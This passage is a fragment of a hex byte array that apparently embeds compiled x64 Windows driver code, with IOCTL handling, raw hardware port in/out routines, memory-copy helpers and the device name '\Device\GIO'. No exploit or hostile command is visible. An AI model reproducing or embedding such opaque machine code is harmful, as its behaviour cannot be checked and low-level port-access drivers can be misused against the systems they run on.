0x4C, 0x8B, 0xC7, - 0x44, 0x8B, 0xCE, 0x48, 0x8D, 0x0D, 0x5A, 0x0F, 0x00, 0x00, 0xE8, 0x9D, - 0x04, 0x00, 0x00, 0x85, 0xF6, 0x74, 0x13, 0x48, 0x2B, 0xFB, 0x8B, 0xD6, - 0x8A, 0x0C, 0x1F, 0x88, 0x0B, 0x48, 0xFF, 0xC3, 0x48, 0x83, 0xEA, 0x01, - 0x75, 0xF2, 0xB0, 0x01, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, - 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xDA, 0x25, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x45, 0x33, 0xFF, 0x48, - 0x8D, 0x0D, 0xBE, 0x0C, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0xDF, 0x49, 0x8B, - 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0x37, 0x04, 0x00, 0x00, 0x83, 0x7F, 0x10, - 0x34, 0x0F, 0x85, 0xC9, 0x00, 0x00, 0x00, 0x83, 0x7F, 0x08, 0x34, 0x0F, - 0x85, 0xBF, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x46, 0x18, 0x48, 0x8D, 0x55, - 0xC0, 0x49, 0x8B, 0x4E, 0x40, 0x4C, 0x89, 0x7E, 0x38, 0x0F, 0xB7, 0x30, - 0xFF, 0x15, 0x92, 0x15, 0x00, 0x00, 0xBF, 0x3E, 0x11, 0x00, 0x00, 0x45, - 0x8D, 0x77, 0x01, 0x66, 0x83, 0xFB, 0x0A, 0x0F, 0x87, 0x85, 0x00, 0x00, - 0x00, 0x0F, 0xB7, 0xC3, 0x48, 0x8D, 0x4D, 0xD8, 0x89, 0x45, 0xDC, 0x0F, - 0xB7, 0xC6, 0x89, 0x45, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, - 0xF0, 0x89, 0x7D, 0xD8, 0x44, 0x89, 0x7D, 0xE0, 0xE8, 0x4B, 0xE6, 0xFF, - 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x75, 0x07, - 0x66, 0x83, 0x7D, 0xE8, 0x0B, 0x74, 0x06, 0x66, 0x41, 0x03, 0xDE, 0xEB, - 0xBA, 0x89, 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xFB, 0x0F, - 0xB7, 0xDE, 0x89, 0x5D, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, - 0xF0, 0x89, 0x7D, 0xDC, 0xC7, 0x45, 0xE0, 0x04, 0x00, 0x00, 0x00, 0xE8, - 0x0C, 0xE6, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, - 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x89, - 0x7D, 0xDC, 0x44, 0x89, 0x75, 0xE0, 0x89, 0x5D, 0xE4, 0xE8, 0xEA, 0xE5, - 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xF8, 0x14, 0x00, 0x00, - 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, - 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x0B, 0x03, 0x00, 0x00, 0x48, 0x8B, 0x9C, - 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x60, 0x41, 0x5F, 0x41, - 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, - 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xA3, 0x24, 0x00, 0x00, 0x48, 0x33, 0xC4, - 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8B, 0xE9, 0x41, 0xBE, 0x01, 0x00, - 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x63, 0x0B, 0x00, 0x00, 0x41, 0x0F, 0xB7, - 0xDE, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0xFC, 0x02, 0x00, 0x00, - 0x83, 0x7F, 0x10, 0x34, 0x75, 0x61, 0x83, 0x7F, 0x08, 0x34, 0x75, 0x5B, - 0x48, 0x8B, 0x4D, 0x40, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x8B, 0x46, - 0x18, 0x33, 0xED, 0x48, 0x89, 0x6E, 0x38, 0x0F, 0xB7, 0x38, 0xFF, 0x15, - 0x5C, 0x14, 0x00, 0x00, 0x66, 0x83, 0xFB, 0x0A, 0x77, 0x2A, 0x0F, 0xB7, - 0xC3, 0x66, 0x41, 0x03, 0xDE, 0x89, 0x44, 0x24, 0x3C, 0x0F, 0xB7, 0xC7, - 0x89, 0x44, 0x24, 0x44, 0x48, 0x89, 0x6C, 0x24, 0x48, 0x48, 0x89, 0x6C, - 0x24, 0x50, 0xC7, 0x44, 0x24, 0x38, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x6C, - 0x24, 0x40, 0xEB, 0xD0, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x29, - 0x14, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, - 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x33, 0xCC, 0xE8, 0x3B, 0x02, 0x00, - 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, - 0x6B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, - 0xB0, 0x01, 0x45, 0x0F, 0xB7, 0xD0, 0x44, 0x0F, 0xB7, 0xDA, 0x44, 0x0F, - 0xB7, 0xC9, 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x01, 0x74, 0x2C, 0x45, - 0x0F, 0xB7, 0xC3, 0x45, 0x85, 0xC0, 0x74, 0x11, 0x49, 0x8B, 0xC8, 0xBA, - 0x80, 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, - 0xF2, 0x41, 0x0F, 0xB7, 0xD1, 0xB0, 0x01, 0xEE, 0x41, 0x83, 0xEA, 0x01, - 0x74, 0x08, 0xEC, 0xA8, 0x01, 0x75, 0xD8, 0x33, 0xC0, 0xC3, 0x83, 0xC8, - 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x41, 0x0F, 0xB7, 0xE8, 0x0F, 0xB7, 0xF2, 0x44, 0x0F, 0xB7, 0x44, 0x24, - 0x50, 0x41, 0x0F, 0xB7, 0xD1, 0x41, 0x0F, 0xB7, 0xF9, 0x0F, 0xB7, 0xD9, - 0xE8, 0x83, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x5A, 0x40, 0x02, - 0xF6, 0x8D, 0x53, 0x04, 0x40, 0xFE, 0xC6, 0x40, 0x8A, 0xC6, 0x8D, 0x73, - 0x05, 0xEE, 0x8D, 0x53, 0x03, 0x40, 0x8A, 0xC5, 0xEE, 0xB0, 0xFF, 0x0F, - 0xB7, 0xD3, 0xEE, 0x0F, 0xB7, 0xD6, 0xEE, 0xB0, 0x48, 0x8D, 0x53, 0x02, - 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x10, 0x8B, 0xC8, 0xBA, 0x80, - 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, 0xF2, - 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, - 0xE8, 0x2F, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x06, 0x0F, 0xB7, - 0xD6, 0xEC, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, - 0x20, 0x5F, 0xC3, 0xCC, 0xB0, 0x1F, 0x45, 0x0F, 0xB7, 0xD0, 0x41, 0xBB, - 0x01, 0x00, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0xCA, 0x66, 0x41, 0x03, 0xCB, - 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x1F, 0x74, 0x2E, 0x45, 0x0F, 0xB7, - 0xC9, 0x45, 0x85, 0xC9, 0x74, 0x10, 0x4D, 0x8B, 0xC1, 0xBA, 0x80, 0x00, - 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x4D, 0x2B, 0xC3, 0x75, 0xF3, 0x0F, 0xB7, - 0xD1, 0xB0, 0x1F, 0xEE, 0x45, 0x2B, 0xD3, 0x74, 0x0D, 0xEC, 0x3C, 0x10, - 0x74, 0x05, 0xEC, 0xA8, 0x1F, 0x75, 0xD6, 0x33, 0xC0, 0xC3, 0x83, 0xC8, - 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x56, 0x48, 0x83, 0xEC, 0x20, 0x0F, 0xB7, 0xEA, 0x33, 0xC0, 0x0F, 0xB7, - 0xD1, 0x45, 0x0F, 0xB7, 0xF0, 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x41, - 0x0F, 0xB7, 0xF9, 0xEE, 0x41, 0x0F, 0xB7, 0xD1, 0x0F, 0xB7, 0xD9, 0xE8, - 0x70, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x6E, 0x33, 0xC0, 0x8D, - 0x73, 0x04, 0x0F, 0xB7, 0xD3, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEE, - 0xB0, 0xFF, 0x0F, 0xB7, 0xD6, 0xEE, 0x8D, 0x04, 0x6D, 0x00, 0x00, 0x00, - 0x00, 0x8D, 0x53, 0x02, 0xEE, 0x41, 0x8A, 0xC6, 0x8D, 0x53, 0x03, 0xEE, - 0xB0, 0x1F, 0x41, 0x8D, 0x14, 0x18, 0xEE, 0xB0, 0x07, 0x0F, 0xB7, 0xD3, - 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x0F, 0x8B, 0xC8, 0xBA, 0x80, - 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x49, 0x2B, 0xC8, 0x75, 0xF3, 0x44, - 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, 0xE8, - 0x10, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x0E, 0x0F, 0xB7, 0xD3, - 0xEC, 0x84, 0xC0, 0x75, 0x06, 0x0F, 0xB7, 0xD6, 0xEC, 0xEB, 0x02, 0x32, - 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, - 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, - 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0xC1, - 0x21, 0x00, 0x00, 0x75, 0x11, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, - 0xFF, 0xFF, 0x75, 0x02, 0x90, 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x01, - 0x00, 0x00, 0x00, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, - 0x20, 0x00, 0x48, 0x8B, 0xD1, 0x4C, 0x8B, 0x0D, 0x9C, 0x21, 0x00, 0x00, - 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0x88, 0x21, 0x00, 0x00, - 0xFF, 0x15, 0x52, 0x12, 0x00, 0x00, 0xCC, 0xCC, 0xFF, 0x25, 0xEA, 0x11, - 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, - 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, - 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, - 0x40, 0x53, 0x41, 0x8B, 0x00, 0x48, 0x8B, 0xDA, 0x44, 0x8B, 0xD8, 0x4C, - 0x8B, 0xC9, 0x41, 0x83, 0xE3, 0xF8, 0x4C, 0x8B, 0xD1, 0xA8, 0x04, 0x74, - 0x13, 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, - 0x03, 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4A, - 0x8B, 0x14, 0x10, 0x48, 0x8B, 0x43, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x03, - 0x4B, 0x08, 0x8A, 0x41, 0x03, 0xA8, 0x0F, 0x74, 0x09, 0x0F, 0xB6, 0xC0, - 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4C, 0x33, 0xCA, 0x49, 0x8B, 0xC9, - 0x5B, 0xE9, 0x36, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4D, 0x33, 0xDB, 0xFF, 0x25, 0xAF, 0x11, 0x00, - 0x00, 0xCC, 0x49, 0x83, 0xCB, 0x01, 0xEB, 0xF3, 0x49, 0x83, 0xCB, 0x02, - 0xEB, 0xED, 0x49, 0x83, 0xCB, 0x03, 0xEB, 0xE7, 0x49, 0x83, 0xCB, 0x04, - 0xEB, 0xE1, 0x49, 0x83, 0xCB, 0x05, 0xEB, 0xDB, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0x66, 0x90, 0x49, 0x8B, 0xC3, 0x48, 0x83, 0xE0, 0x07, 0x85, - 0xC0, 0x75, 0x10, 0x48, 0x8B, 0x14, 0x24, 0x64, 0x4C, 0x8B, 0x04, 0x24, - 0xB9, 0x2C, 0x00, 0x00, 0x00, 0xCD, 0x29, 0x3C, 0x03, 0x74, 0x1F, 0x4C, - 0x8B, 0xC1, 0x3C, 0x01, 0x74, 0x18, 0x4C, 0x8B, 0xC2, 0x3C, 0x02, 0x74, - 0x11, 0x4D, 0x8B, 0xC1, 0x3C, 0x04, 0x74, 0x0A, 0x4D, 0x8B, 0xC2, 0x3C, - 0x05, 0x74, 0x03, 0x4D, 0x33, 0xC0, 0x4C, 0x33, 0xD8, 0x49, 0x8B, 0x13, - 0xEB, 0xCE, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0x1F, 0x40, 0x00, - 0xFF, 0x25, 0x3A, 0x11, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x0F, 0x1F, 0x40, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x4C, 0x8B, 0xD9, 0x48, 0x2B, 0xD1, 0x0F, 0x82, 0xA2, 0x01, 0x00, 0x00, - 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x58, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, - 0x03, 0x74, 0x16, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x48, 0x8B, 0x04, 0x0A, - 0x48, 0x83, 0xC1, 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x41, 0xF8, 0x75, - 0xEF, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x8A, 0x04, 0x0A, 0x48, 0xFF, 0xC1, 0x49, 0xFF, - 0xC8, 0x88, 0x41, 0xFF, 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x83, - 0xFA, 0x10, 0x72, 0x70, 0xF7, 0xD9, 0x83, 0xE1, 0x0F, 0x74, 0x0E, 0x4C, - 0x2B, 0xC1, 0xF3, 0x42, 0x0F, 0x6F, 0x04, 0x1A, 0xF3, 0x41, 0x0F, 0x7F, - 0x03, 0x49, 0x03, 0xCB, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, - 0x81, 0xF9, 0x00, 0x20, 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, - 0x49, 0x83, 0xE0, 0x1F, 0xF3, 0x0F, 0x6F, 0x04, 0x0A, 0xF3, 0x0F, 0x6F, - 0x4C, 0x0A, 0x10, 0x48, 0x83, 0xC1, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0xE0, - 0x66, 0x0F, 0x7F, 0x49, 0xF0, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x4F, - 0xFF, 0xFF, 0xFF, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, - 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, - 0xA3, 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0x48, 0xFF, 0xC1, - 0xF6, 0xC1, 0x0F, 0x75, 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, - 0xFA, 0x00, 0x02, 0x00, 0x00, 0x72, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, - 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, 0x48, 0x81, 0xC1, - 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xE9, 0x00, - 0x02, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x04, - 0x0A, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0x10, 0x66, 0x0F, 0xE7, 0x01, 0x66, - 0x0F, 0xE7, 0x49, 0x10, 0x48, 0x83, 0xC1, 0x40, 0xF3, 0x0F, 0x6F, 0x44, - 0x0A, 0xE0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xF0, 0x66, 0x0F, 0xE7, 0x41, - 0xE0, 0x66, 0x0F, 0xE7, 0x49, 0xF0, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, - 0xE8, 0x00, 0x02, 0x00, 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, - 0x73, 0x99, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, - 0xE9, 0x05, 0x0F, 0x85, 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x79, 0xFE, 0xFF, - 0xFF, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x49, 0x03, - 0xC8, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x4F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, - 0xE9, 0x03, 0x74, 0x11, 0x48, 0x8B, 0x44, 0x0A, 0xF8, 0x48, 0x83, 0xE9, - 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x01, 0x75, 0xEF, 0x49, 0x83, 0xE0, - 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x8A, 0x44, 0x0A, 0xFF, 0x48, 0xFF, 0xC9, 0x49, 0xFF, 0xC8, 0x88, 0x01, - 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x48, 0x83, 0xFA, 0xF0, 0x77, 0x74, 0x48, 0x8B, 0xC1, 0x83, - 0xE1, 0x0F, 0x74, 0x11, 0x4C, 0x2B, 0xC1, 0x48, 0xF7, 0xD9, 0xF3, 0x0F, - 0x6F, 0x44, 0x02, 0xF0, 0xF3, 0x0F, 0x7F, 0x40, 0xF0, 0x48, 0x03, 0xC8, - 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, 0x81, 0xF9, 0x00, 0x20, - 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, 0x49, 0x83, 0xE0, 0x1F, - 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xE0, - 0x48, 0x83, 0xE9, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0x10, 0x66, 0x0F, 0x7F, - 0x09, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x54, 0xFF, 0xFF, 0xFF, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, 0xA3, 0x48, 0xFF, 0xC9, - 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0xF6, 0xC1, 0x0F, 0x75, - 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, - 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, 0xFA, 0x00, 0xFE, 0xFF, - 0xFF, 0x77, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, 0x48, 0x81, 0xE9, 0x80, - 0x00, 0x00, 0x00, 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, - 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xC1, 0x00, 0x02, 0x00, 0x00, 0xB8, - 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, - 0x6F, 0x4C, 0x0A, 0xE0, 0x66, 0x0F, 0xE7, 0x41, 0xF0, 0x66, 0x0F, 0xE7, - 0x49, 0xE0, 0x48, 0x83, 0xE9, 0x40, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0x10, - 0xF3, 0x0F, 0x6F, 0x0C, 0x0A, 0x66, 0x0F, 0xE7, 0x41, 0x10, 0x66, 0x0F, - 0xE7, 0x09, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, 0xE8, 0x00, 0x02, 0x00, - 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, 0x73, 0x99, 0xF0, 0x80, - 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x0F, 0x85, - 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x7E, 0xFE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, - 0x2C, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, - 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x47, 0x73, 0x60, - 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x49, 0x89, - 0x54, 0x01, 0xF8, 0x49, 0x83, 0xE9, 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, - 0x07, 0x74, 0x0F, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x41, 0x88, 0x54, 0x08, - 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, 0x90, 0xC3, 0x66, 0x66, 0x66, 0x66, - 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, - 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, - 0xF7, 0xD9, 0x83, 0xE1, 0x07, 0x74, 0x06, 0x4C, 0x2B, 0xC1, 0x48, 0x89, - 0x10, 0x48, 0x03, 0xC8, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x03, 0x4D, - 0x8B, 0xD1, 0x49, 0xC1, 0xEA, 0x03, 0x49, 0x83, 0xE1, 0x07, 0x74, 0x1C, - 0x49, 0x83, 0xE9, 0x08, 0x4A, 0x8D, 0x0C, 0xC9, 0x49, 0xF7, 0xD9, 0x49, - 0xFF, 0xC2, 0x4C, 0x8D, 0x1D, 0x06, 0x00, 0x00, 0x00, 0x4F, 0x8D, 0x1C, - 0x8B, 0x41, 0xFF, 0xE3, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, 0x48, - 0x89, 0x51, 0x10, 0x48, 0x89, 0x51, 0x18, 0x48, 0x89, 0x51, 0x20, 0x48, - 0x89, 0x51, 0x28, 0x48, 0x89, 0x51, 0x30, 0x48, 0x89, 0x51, 0x38, 0x48, - 0x83, 0xC1, 0x40, 0x49, 0xFF, 0xCA, 0x75, 0xD8, 0x49, 0x83, 0xE0, 0x07, - 0x74, 0x0A, 0x41, 0x88, 0x54, 0x08, 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, - 0x90, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, - 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00, - 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 